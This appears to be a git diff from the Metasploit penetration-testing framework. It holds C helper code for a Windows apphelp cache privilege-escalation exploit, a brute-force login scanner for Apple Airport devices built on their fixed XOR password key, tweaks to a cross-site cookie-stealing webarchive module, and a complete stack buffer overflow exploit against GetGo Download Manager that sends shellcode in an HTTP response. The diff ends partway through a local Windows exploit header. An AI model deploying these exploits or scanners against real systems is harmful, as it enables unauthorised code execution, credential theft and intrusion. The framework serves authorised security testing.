SdbInitDatabasePtr = (SdbInitDatabase)GetProcAddress(apphelpdll, "SdbInitDatabase");
|
||||
SdbIsStandardDatabasePtr = (SdbIsStandardDatabase)GetProcAddress(apphelpdll, "SdbIsStandardDatabase");
|
||||
SdbMakeIndexKeyFromStringPtr = (SdbMakeIndexKeyFromString)GetProcAddress(apphelpdll, "SdbMakeIndexKeyFromString");
|
||||
SdbOpenApphelpDetailsDatabasePtr = (SdbOpenApphelpDetailsDatabase)GetProcAddress(apphelpdll, "SdbOpenApphelpDetailsDatabase");
|
||||
SdbOpenApphelpResourceFilePtr = (SdbOpenApphelpResourceFile)GetProcAddress(apphelpdll, "SdbOpenApphelpResourceFile");
|
||||
SdbOpenDatabasePtr = (SdbOpenDatabase)GetProcAddress(apphelpdll, "SdbOpenDatabase");
|
||||
SdbQueryDataExTagIDPtr = (SdbQueryDataExTagID)GetProcAddress(apphelpdll, "SdbQueryDataExTagID");
|
||||
SdbReadApphelpDetailsDataPtr = (SdbReadApphelpDetailsData)GetProcAddress(apphelpdll, "SdbReadApphelpDetailsData");
|
||||
SdbReadBinaryTagPtr = (SdbReadBinaryTag)GetProcAddress(apphelpdll, "SdbReadBinaryTag");
|
||||
SdbReadDWORDTagPtr = (SdbReadDWORDTag)GetProcAddress(apphelpdll, "SdbReadDWORDTag");
|
||||
SdbReadWORDTagPtr = (SdbReadWORDTag)GetProcAddress(apphelpdll, "SdbReadWORDTag");
|
||||
SdbReadQWORDTagPtr = (SdbReadQWORDTag)GetProcAddress(apphelpdll, "SdbReadQWORDTag");
|
||||
SdbReadStringTagPtr = (SdbReadStringTag)GetProcAddress(apphelpdll, "SdbReadStringTag");
|
||||
SdbRegisterDatabaseExPtr = (SdbRegisterDatabaseEx)GetProcAddress(apphelpdll, "SdbRegisterDatabaseEx");
|
||||
SdbReleaseDatabasePtr = (SdbReleaseDatabase)GetProcAddress(apphelpdll, "SdbReleaseDatabase");
|
||||
SdbReleaseMatchingExePtr = (SdbReleaseMatchingExe)GetProcAddress(apphelpdll, "SdbReleaseMatchingExe");
|
||||
SdbStartIndexingPtr = (SdbStartIndexing)GetProcAddress(apphelpdll, "SdbStartIndexing");
|
||||
SdbStopIndexingPtr = (SdbStopIndexing)GetProcAddress(apphelpdll, "SdbStopIndexing");
|
||||
SdbTagRefToTagIDPtr = (SdbTagRefToTagID)GetProcAddress(apphelpdll, "SdbTagRefToTagID");
|
||||
SdbTagToStringPtr = (SdbTagToString)GetProcAddress(apphelpdll, "SdbTagToString");
|
||||
SdbUnregisterDatabasePtr = (SdbUnregisterDatabase)GetProcAddress(apphelpdll, "SdbUnregisterDatabase");
|
||||
SdbWriteBinaryTagPtr = (SdbWriteBinaryTag)GetProcAddress(apphelpdll, "SdbWriteBinaryTag");
|
||||
SdbWriteBinaryTagFromFilePtr = (SdbWriteBinaryTagFromFile)GetProcAddress(apphelpdll, "SdbWriteBinaryTagFromFile");
|
||||
SdbWriteDWORDTagPtr = (SdbWriteDWORDTag)GetProcAddress(apphelpdll, "SdbWriteDWORDTag");
|
||||
SdbWriteNULLTagPtr = (SdbWriteNULLTag)GetProcAddress(apphelpdll, "SdbWriteNULLTag");
|
||||
SdbWriteQWORDTagPtr = (SdbWriteQWORDTag)GetProcAddress(apphelpdll, "SdbWriteQWORDTag");
|
||||
SdbWriteStringTagPtr = (SdbWriteStringTag)GetProcAddress(apphelpdll, "SdbWriteStringTag");
|
||||
SdbWriteWORDTagPtr = (SdbWriteWORDTag)GetProcAddress(apphelpdll, "SdbWriteWORDTag");
|
||||
ShimFlushCachePtr = (ShimFlushCache)GetProcAddress(apphelpdll, "ShimFlushCache");
|
||||
SdbGetTagDataSizePtr = (SdbGetTagDataSize)GetProcAddress(apphelpdll, "SdbGetTagDataSize");
|
||||
SdbGetShowDebugInfoOptionPtr = (SdbGetShowDebugInfoOption)GetProcAddress(apphelpdll, "SdbGetShowDebugInfoOption");
|
||||
|
||||
if (!BaseFlushAppcompatCachePtr
|
||||
|| !SdbBeginWriteListTagPtr
|
||||
|| !SdbCloseDatabasePtr
|
||||
|| !SdbCloseDatabaseWritePtr
|
||||
|| !SdbCommitIndexesPtr
|
||||
|| !SdbCreateDatabasePtr
|
||||
|| !SdbDeclareIndexPtr
|
||||
|| !SdbEndWriteListTagPtr
|
||||
|| !SdbFindFirstDWORDIndexedTagPtr
|
||||
|| !SdbFindFirstTagPtr
|
||||
|| !SdbFindNextTagPtr
|
||||
|| !SdbFormatAttributePtr
|
||||
|| !SdbFreeFileAttributesPtr
|
||||
|| !SdbGetAppPatchDirPtr
|
||||
|| !SdbGetBinaryTagDataPtr
|
||||
|| !SdbGetFileAttributesPtr
|
||||
|| !SdbGetFirstChildPtr
|
||||
|| !SdbGetIndexPtr
|
||||
|| !SdbGetMatchingExePtr
|
||||
|| !SdbGetNextChildPtr
|
||||
|| !SdbGetStringTagPtrPtr
|
||||
|| !SdbGetTagFromTagIDPtr
|
||||
|| !SdbInitDatabasePtr
|
||||
|| !SdbIsStandardDatabasePtr
|
||||
|| !SdbMakeIndexKeyFromStringPtr
|
||||
|| !SdbOpenApphelpDetailsDatabasePtr
|
||||
|| !SdbOpenApphelpResourceFilePtr
|
||||
|| !SdbOpenDatabasePtr
|
||||
|| !SdbQueryDataExTagIDPtr
|
||||
|| !SdbReadApphelpDetailsDataPtr
|
||||
|| !SdbReadBinaryTagPtr
|
||||
|| !SdbReadDWORDTagPtr
|
||||
|| !SdbReadQWORDTagPtr
|
||||
|| !SdbReadStringTagPtr
|
||||
|| !SdbRegisterDatabaseExPtr
|
||||
|| !SdbReleaseDatabasePtr
|
||||
|| !SdbReleaseMatchingExePtr
|
||||
|| !SdbStartIndexingPtr
|
||||
|| !SdbStopIndexingPtr
|
||||
|| !SdbTagRefToTagIDPtr
|
||||
|| !SdbTagToStringPtr
|
||||
|| !SdbUnregisterDatabasePtr
|
||||
|| !SdbWriteBinaryTagPtr
|
||||
|| !SdbWriteBinaryTagFromFilePtr
|
||||
|| !SdbWriteDWORDTagPtr
|
||||
|| !SdbWriteNULLTagPtr
|
||||
|| !SdbWriteQWORDTagPtr
|
||||
|| !SdbWriteStringTagPtr
|
||||
|| !SdbWriteWORDTagPtr
|
||||
|| !ShimFlushCachePtr
|
||||
|| !SdbReadWORDTagPtr
|
||||
|| !SdbGetTagDataSizePtr
|
||||
|| !SdbGetShowDebugInfoOptionPtr)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// exploit.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
|
@ -0,0 +1,14 @@
|
|||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
|
||||
#define WIN32_NO_STATUS 1
|
||||
#include <Windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
|
||||
#include <ntstatus.h>
|
||||
#include <winternl.h>
|
|
@ -0,0 +1,8 @@
|
|||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
|
@ -0,0 +1,70 @@
|
|||
require 'metasploit/framework/tcp/client'
|
||||
require 'rex/proto/acpp'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
# This is the LoginScanner class for dealing with the Apple Airport ACPP
|
||||
# protocol. It is responsible for taking a single target, and a list of
|
||||
# credentials and attempting them. It then saves the results.
|
||||
class ACPP
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
#
|
||||
# CONSTANTS
|
||||
#
|
||||
DEFAULT_PORT = Rex::Proto::ACPP::DEFAULT_PORT
|
||||
LIKELY_PORTS = [ DEFAULT_PORT ]
|
||||
LIKELY_SERVICE_NAMES = [ 'acpp' ]
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
REALM_KEY = nil
|
||||
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'acpp'
|
||||
}
|
||||
|
||||
begin
|
||||
# Make our initial socket to the target
|
||||
disconnect if self.sock
|
||||
connect
|
||||
|
||||
client = Rex::Proto::ACPP::Client.new(sock)
|
||||
|
||||
auth_response = client.authenticate(credential.private)
|
||||
if auth_response.successful?
|
||||
status = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
else
|
||||
status = Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
result_options.merge!(
|
||||
proof: "Status code #{auth_response.status}",
|
||||
status: status
|
||||
)
|
||||
rescue ::EOFError, Errno::ENOTCONN, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_options.merge!(
|
||||
proof: e.message,
|
||||
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
)
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -27,7 +27,7 @@ module WMIC
|
|||
result_text = ""
|
||||
|
||||
if datastore['SMBUser']
|
||||
if server.downcase == "localhost" || server.downcase.starts_with("127.")
|
||||
if server.downcase == "localhost" || server.downcase.starts_with?('127.')
|
||||
raise RuntimeError, "WMIC: User credentials cannot be used for local connections"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,17 @@
|
|||
# -*- coding: binary -*-
|
||||
#
|
||||
# Support for the protocol used by Apple Airport products, typically on
|
||||
# 5009/TCP. This protocol is not documented and doesn't appear to have a name,
|
||||
# so I'm calling it ACPP because that is the protocol header.
|
||||
#
|
||||
|
||||
require 'rex/proto/acpp/client'
|
||||
require 'rex/proto/acpp/message'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module ACPP
|
||||
DEFAULT_PORT = 5009
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
##
|
||||
# ACPP protocol support
|
||||
##
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module ACPP
|
||||
|
||||
class Client
|
||||
|
||||
def initialize(sock, opts = {})
|
||||
@sock = sock
|
||||
@opts = opts
|
||||
end
|
||||
|
||||
def authenticate(password = 'public')
|
||||
login = Message.new
|
||||
login.password = password
|
||||
login.type = 20
|
||||
@sock.put(login.to_s)
|
||||
# TODO: the checksum never validates here
|
||||
Message.decode(@sock.get_once(128), false)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,183 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module ACPP
|
||||
# From what I've been able to gather from the very limited findings on the
|
||||
# web about this protocol, playing with it against a real Airport device and
|
||||
# referencing the airport-utils package in Debian/Ubuntu, the format of (at
|
||||
# least) the login message is:
|
||||
#
|
||||
# acpp # the header tag, always exactly acpp (4 bytes)
|
||||
# unknown1 # unknown 4-byte field. Almost always 0x00000001
|
||||
# messageChecksum # checksum of the message, 4 bytes
|
||||
# payloadChecksum # checksum of the payload, 4 bytes
|
||||
# payloadSize # size of the payload, 4 bytes
|
||||
# unknown2 # unknown 8-byte field. probably some sort of
|
||||
# request/response identifier. generally 0 for requests, 1 for replies
|
||||
# messageType # the type of message, 4 bytes. see below.
|
||||
# status # the status of this message, 4 bytes.
|
||||
# generally 0 for success and !0 for failure.
|
||||
# unknown3 # unknown 12-byte field, seemingly always 0. Probably 'reserved'
|
||||
# password # 32-byte password, 'encrypted' by XOR'ing it with a 256-byte static key (see XOR_KEY)
|
||||
# unknown4 # unknown 48-byte field, always 0.
|
||||
#
|
||||
# There are several possible message types:
|
||||
#
|
||||
# * 20 -- retrieve settings (payload is some list of settings to obtain)
|
||||
# * 21 -- update setttings (and if the 'acRB' setting is set, it reboots)
|
||||
# * 3 -- Upload firmware
|
||||
#
|
||||
# TODO: if you find more, add them above.
|
||||
#
|
||||
# When the message type is anything other than 20 or 3, payloadSize is set to -1 and
|
||||
# payloadChecksum is set to 1. It may be a bug that 21 doesn't look at the
|
||||
# checksum. Adler32 is used to compute the checksum.
|
||||
#
|
||||
# The message payload is a bit of an unknown right now, as it *seems* like
|
||||
# the payload always comes in a subsequent request. Simply appending
|
||||
# a payload to the existing message does not appear to work (but this needs
|
||||
# more testing)
|
||||
|
||||
# This was taken from airport-util's AirportInforRecord for ease of copying, but can
|
||||
# also be obtained by XOR'ing the null-padded known plain text with the appropriate 32-byte
|
||||
# ciphertext from an airport-util request
|
||||
XOR_KEY = [
|
||||
14, 57, -8, 5, -60, 1, 85, 79, 12, -84,
|
||||
-123, 125, -122, -118, -75, 23, 62, 9, -56, 53,
|
||||
-12, 49, 101, 127, 60, -100, -75, 109, -106, -102,
|
||||
-91, 7, 46, 25, -40, 37, -28, 33, 117, 111,
|
||||
44, -116, -91, -99, 102, 106, 85, -9, -34, -23,
|
||||
40, -43, 20, -47, -123, -97, -36, 124, 85, -115,
|
||||
118, 122, 69, -25, -50, -7, 56, -59, 4, -63,
|
||||
-107, -113, -52, 108, 69, -67, 70, 74, 117, -41,
|
||||
-2, -55, 8, -11, 52, -15, -91, -65, -4, 92,
|
||||
117, -83, 86, 90, 101, -57, -18, -39, 24, -27,
|
||||
36, -31, -75, -81, -20, 76, 101, -35, 38, 42,
|
||||
21, -73, -98, -87, 104, -107, 84, -111, -59, -33,
|
||||
-100, 60, 21, -51, 54, 58, 5, -89, -114, -71,
|
||||
120, -123, 68, -127, -43, -49, -116, 44, 5, -3,
|
||||
6, 10, 53, -105, -66, -119, 72, -75, 116, -79,
|
||||
-27, -1, -68, 28, 53, -19, 22, 26, 37, -121,
|
||||
-82, -103, 88, -91, 100, -95, -11, -17, -84, 12,
|
||||
37, 29, -26, -22, -43, 119, 94, 105, -88, 85,
|
||||
-108, 81, 5, 31, 92, -4, -43, 13, -10, -6,
|
||||
-59, 103, 78, 121, -72, 69, -124, 65, 21, 15,
|
||||
76, -20, -59, 61, -58, -54, -11, 87, 126, 73,
|
||||
-120, 117, -76, 113, 37, 63, 124, -36, -11, 45,
|
||||
-42, -38, -27, 71, 110, 89, -104, 101, -92, 97,
|
||||
53, 47, 108, -52, -27, 93, -90, -86, -107, 55,
|
||||
30, 41, -24, 21, -44, 17, 69, 95, 28, -68,
|
||||
-107, 77, -74, -70, -123, 39
|
||||
].pack("C*")
|
||||
|
||||
class Message
|
||||
# @return [Integer] the type of this message
|
||||
attr_accessor :type
|
||||
# @return [String] the password to attempt to authenticate with
|
||||
attr_accessor :password
|
||||
# @return [String] the optional message payload
|
||||
attr_accessor :payload
|
||||
# @return [Integer] the status of this message
|
||||
attr_accessor :status
|
||||
|
||||
def initialize
|
||||
@payload = ''
|
||||
@type = 0
|
||||
@status = 0
|
||||
@password = ''
|
||||
@unknown1 = 1
|
||||
@unknown2 = ''
|
||||
@unknown3 = ''
|
||||
@unknown4 = ''
|
||||
end
|
||||
|
||||
# Determines if this message has a successful status code
|
||||
#
|
||||
# @return [Boolean] true iff @status is 0, false otherwise
|
||||
def successful?
|
||||
@status == 0
|
||||
end
|
||||
|
||||
# Get this Message as a String
|
||||
#
|
||||
# @return [String] the string representation of this Message
|
||||
def to_s
|
||||
with_checksum(Zlib.adler32(with_checksum(0)))
|
||||
end
|
||||
|
||||
# Compares this Message and another Message for equality
|
||||
#
|
||||
# @param other [Message] the Message to compare
|
||||
# @return [Boolean] true iff the two messages are equal, false otherwise
|
||||
def ==(other)
|
||||
other.type == @type &&
|
||||
other.status == @status &&
|
||||
other.password == @password &&
|
||||
other.payload == @payload
|
||||
end
|
||||
|
||||
# Decodes the provided data into a Message
|
||||
#
|
||||
# @param data [String] the data to parse as a Message
|
||||
# @param validate_checksum [Boolean] true to validate the message and
|
||||
# payload checksums, false to not. Defaults to true.
|
||||
# @return [Message] the decoded Message
|
||||
def self.decode(data, validate_checksum = true)
|
||||
data = data.dup
|
||||
fail "Incorrect ACPP message size #{data.size} -- must be 128" unless data.size == 128
|
||||
fail 'Unexpected header' unless 'acpp' == data.slice!(0, 4)
|
||||
_unknown1 = data.slice!(0, 4)
|
||||
read_message_checksum = data.slice!(0, 4).unpack('N').first
|
||||
read_payload_checksum = data.slice!(0, 4).unpack('N').first
|
||||
_read_payload_size = data.slice!(0, 4).unpack('N').first
|
||||
_unknown2 = data.slice!(0, 8)
|
||||
type = data.slice!(0, 4).unpack('N').first
|
||||
status = data.slice!(0, 4).unpack('N').first
|
||||
_unknown3 = data.slice!(0, 12)
|
||||
password = Rex::Encoding::Xor::Generic.encode(data.slice!(0, 32), XOR_KEY).first.strip
|
||||
_unknown4 = data.slice!(0, 48)
|
||||
payload = data
|
||||
m = new
|
||||
m.type = type
|
||||
m.password = password
|
||||
m.status = status
|
||||
m.payload = payload
|
||||
|
||||
# we can now validate the checksums if desired
|
||||
if validate_checksum
|
||||
actual_message_checksum = Zlib.adler32(m.with_checksum(0))
|
||||
if actual_message_checksum != read_message_checksum
|
||||
fail "Invalid message checksum (expected #{read_message_checksum}, calculated #{actual_message_checksum})"
|
||||
end
|
||||
# I'm not sure this can ever happen -- if the payload checksum is wrong, then the
|
||||
# message checksum will also be wrong. So, either I misunderstand the protocol
|
||||
# or having two checksums is useless
|
||||
actual_payload_checksum = Zlib.adler32(payload)
|
||||
if actual_payload_checksum != read_payload_checksum
|
||||
fail "Invalid payload checksum (expected #{read_payload_checksum}, calculated #{actual_payload_checksum})"
|
||||
end
|
||||
end
|
||||
m
|
||||
end
|
||||
|
||||
def with_checksum(message_checksum)
|
||||
[
|
||||
'acpp',
|
||||
@unknown1,
|
||||
message_checksum,
|
||||
Zlib.adler32(@payload),
|
||||
@payload.size,
|
||||
@unknown2,
|
||||
@type,
|
||||
@status,
|
||||
@unknown3,
|
||||
Rex::Encoding::Xor::Generic.encode([@password].pack('a32').slice(0, 32), XOR_KEY).first,
|
||||
@unknown4,
|
||||
payload
|
||||
].pack('a4NNNNa8NNa12a32a48a*')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -47,9 +47,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']),
|
||||
OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://browserscan.rapid7.com/']),
|
||||
OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']),
|
||||
OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']),
|
||||
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarhive.', '/msf.webarchive']),
|
||||
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']),
|
||||
OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']),
|
||||
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']),
|
||||
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]),
|
||||
|
@ -768,8 +768,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if script_uri.relative?
|
||||
url = page_uri + url
|
||||
end
|
||||
if url.to_s.starts_with? '//'
|
||||
url = "#{page_uri.scheme}:#{url}"
|
||||
end
|
||||
io = open(url)
|
||||
rescue URI::InvalidURIError => e
|
||||
rescue URI::InvalidURIError, OpenURI::HTTPError
|
||||
next
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,103 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/acpp'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/acpp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Apple Airport ACPP Authentication Scanner',
|
||||
'Description' => %q(
|
||||
This module attempts to authenticate to an Apple Airport using its
|
||||
proprietary and largely undocumented protocol known only as ACPP.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Jon Hart <jon_hart[at]rapid7.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
%w(CVE 2003-0270) # Fixed XOR key used to encrypt password
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(Rex::Proto::ACPP::DEFAULT_PORT)
|
||||
], self.class)
|
||||
|
||||
deregister_options(
|
||||
# there is no username, so remove all of these options
|
||||
'DB_ALL_USERS',
|
||||
'DB_ALL_CREDS',
|
||||
'USERNAME',
|
||||
'USERPASS_FILE',
|
||||
'USER_FILE',
|
||||
'USER_AS_PASS'
|
||||
)
|
||||
|
||||
register_autofilter_ports([Rex::Proto::ACPP::DEFAULT_PORT])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("#{ip}:#{rport} - Starting ACPP login sweep")
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
username: '<BLANK>'
|
||||
)
|
||||
|
||||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::ACPP.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: datastore['ConnectTimeout'],
|
||||
max_send_size: datastore['TCP::max_send_size'],
|
||||
send_delay: datastore['TCP::send_delay']
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
password = result.credential.private
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
print_good("#{ip}:#{rport} - ACPP LOGIN SUCCESSFUL: #{password}")
|
||||
report_vuln(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'Fixed XOR key used to encrypt passwords',
|
||||
info: "Successful authentication with '#{password}'",
|
||||
refs: references
|
||||
)
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
vprint_error("#{ip}:#{rport} - ACPP LOGIN FAILED: #{password} (#{result.status}: #{result.proof})")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,170 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Seh
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability in
|
||||
GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
|
||||
overly long HTTP response header.
|
||||
By persuading the victim to download a file from a malicious server, a
|
||||
remote attacker could execute arbitrary code on the system or cause
|
||||
the application to crash. This module has been tested successfully on
|
||||
Windows XP SP3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Julien Ahrens', # Vulnerability discovery
|
||||
'Gabor Seljan' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '32132' ],
|
||||
[ 'OSVDB', '103910' ],
|
||||
[ 'CVE', '2014-2206' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
'URIPATH' => "/shakeitoff.mp3"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x0a\x0d",
|
||||
'Space' => 2000
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3',
|
||||
{
|
||||
'Offset' => 4107,
|
||||
'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 09 2014',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
#
|
||||
# Handle the HTTP request and return a response.
|
||||
# Code borrowed from: msf/core/exploit/http/server.rb
|
||||
#
|
||||
def start_http(opts={})
|
||||
# Ensture all dependencies are present before initializing HTTP
|
||||
use_zlib
|
||||
|
||||
comm = datastore['ListenerComm']
|
||||
if (comm.to_s == "local")
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
# Default the server host / port
|
||||
opts = {
|
||||
'ServerHost' => datastore['SRVHOST'],
|
||||
'ServerPort' => datastore['HTTPPORT'],
|
||||
'Comm' => comm
|
||||
}.update(opts)
|
||||
|
||||
# Start a new HTTP server
|
||||
@http_service = Rex::ServiceManager.start(
|
||||
Rex::Proto::Http::Server,
|
||||
opts['ServerPort'].to_i,
|
||||
opts['ServerHost'],
|
||||
datastore['SSL'],
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
},
|
||||
opts['Comm'],
|
||||
datastore['SSLCert']
|
||||
)
|
||||
|
||||
@http_service.server_name = datastore['HTTP::server_name']
|
||||
|
||||
# Default the procedure of the URI to on_request_uri if one isn't
|
||||
# provided.
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
}.update(opts['Uri'] || {})
|
||||
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
# Add path to resource
|
||||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
|
||||
# As long as we have the http_service object, we will keep the server alive
|
||||
while @http_service
|
||||
select(nil, nil, nil, 1)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Kill HTTP/FTP (shut them down and clear resources)
|
||||
#
|
||||
def cleanup
|
||||
super
|
||||
stop_service
|
||||
|
||||
begin
|
||||
@http_service.remove_resource(datastore['URIPATH'])
|
||||
@http_service.deref
|
||||
@http_service.stop
|
||||
@http_service.close
|
||||
@http_service = nil
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
print_status("Client connected...")
|
||||
|
||||
unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
|
||||
print_error("Sending 404 for unknown user-agent")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
sploit = rand_text_alpha(target['Offset'])
|
||||
sploit << "\x90\x90\xEB\x06"
|
||||
sploit << [target.ret].pack('V')
|
||||
sploit << payload.encoded
|
||||
|
||||
print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
|
||||
|
||||
resp = create_response(200, sploit)
|
||||
resp.body = ""
|
||||
cli.send_response(resp)
|
||||
|
||||
close_client(cli)
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,155 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/windows/reflective_dll_injection'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = NormalRanking
|
||||
|
||||
include Exploit::EXE
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
|
||||
'Description' => %q{
|
||||
